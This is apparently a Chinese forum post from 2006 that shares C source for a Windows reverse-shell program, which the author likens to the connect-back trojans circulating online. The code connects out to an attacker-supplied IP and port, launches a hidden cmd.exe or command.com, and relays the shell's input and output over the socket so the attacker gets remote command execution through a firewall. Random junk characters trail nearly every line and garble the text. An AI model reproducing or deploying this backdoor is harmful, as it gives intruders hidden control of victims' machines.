这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +C\79,r
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/* ============================== T^!Q(`*
Rebound port in Windows NT NK|U:p2H
By wind,2006/7 u>;aQtK~
===============================*/ y)K Iz
#include u.q3~~[=
#include }h`z2%5o
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#pragma comment(lib,"wsock32.lib") $-/-%=
c)
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void OutputShell(); 8(j]=n6r
SOCKET sClient; :.=:N%3[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; y9mV6.r
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void main(int argc,char **argv) 2{RRaUoRb
{ bbq`gEV
WSADATA stWsaData; OybmyGHY
int nRet; &'`C#-e@
SOCKADDR_IN stSaiClient,stSaiServer; iZk4KX
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if(argc != 3) a5Vlfx
{ {;Hg1=cm
printf("Useage:\n\rRebound DestIP DestPort\n"); y#
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return; Lea4-Gc
} l`~$cK!
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WSAStartup(MAKEWORD(2,2),&stWsaData); .oM- A\!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q1Qw45$
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stSaiClient.sin_family = AF_INET; V}TPt6C2
stSaiClient.sin_port = htons(0); Ur 1k3
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^jL44?W}l
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bv <^zuV
{ 8p829
printf("Bind Socket Failed!\n"); o#"yFP1
return; +s_a{iMVP
} Zbl*U(KU?
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stSaiServer.sin_family = AF_INET; *DcIC]ao[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); AHr^G'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /V0Put
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4 dHGU^#WZ
{ Vel(+HS
printf("Connect Error!"); -hfDf{QN
return; wL3BgCxqDL
} gLSI?
OutputShell(); _"F=4`lJ
} ug{sQyLN
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void OutputShell() Xgh%2;:
{ .+Q1h61$T
char szBuff[1024]; Q,9KLi3
SECURITY_ATTRIBUTES stSecurityAttributes; T-n>+G{
OSVERSIONINFO stOsversionInfo; ~YNzSkz
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Tq*<J~-
STARTUPINFO stStartupInfo; JoB-&r}\V*
char *szShell; |
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PROCESS_INFORMATION stProcessInformation; 3v$n}.
unsigned long lBytesRead; 9FC_B+7
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); W;yg{y
stSecurityAttributes.lpSecurityDescriptor = 0; =}%:4
stSecurityAttributes.bInheritHandle = TRUE; lpd~U 2&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .rg "(I
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O>f*D+A-
rv)Eg53Q
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \{rhHb\|h
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r#j3O}(n
stStartupInfo.wShowWindow = SW_HIDE; [GM!@6U
stStartupInfo.hStdInput = hReadPipe; [$$R>ELYQ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6_8y Q
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GetVersionEx(&stOsversionInfo); 8DD1wK\U~
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switch(stOsversionInfo.dwPlatformId) {?w*n_T.
{ Ac*)z#H
case 1: Grw[h
szShell = "command.com"; 2fayQY
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break; %26HB
w=JF
default: <b4}
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szShell = "cmd.exe"; Z@m5hx&
break; V/\`:
} ?=?*W7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); dhg($m
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send(sClient,szMsg,77,0); ]LCL?zAzH!
while(1) $D^27q:H
{ _MQh<,Z8
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9l[C&0w#\
if(lBytesRead) d]_].D$
{ t T
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !oRN,m[7)p
send(sClient,szBuff,lBytesRead,0); Pr1OQbg]8
} cjLA7I.O
else \ z*<^ONq
{ 0jXDjk5'<
lBytesRead=recv(sClient,szBuff,1024,0); qbD_
if(lBytesRead<=0) break; H93ug1,
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N1>M<N03
} z{NK(oW
} _M>S =3w
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return; GAR6nJCz
}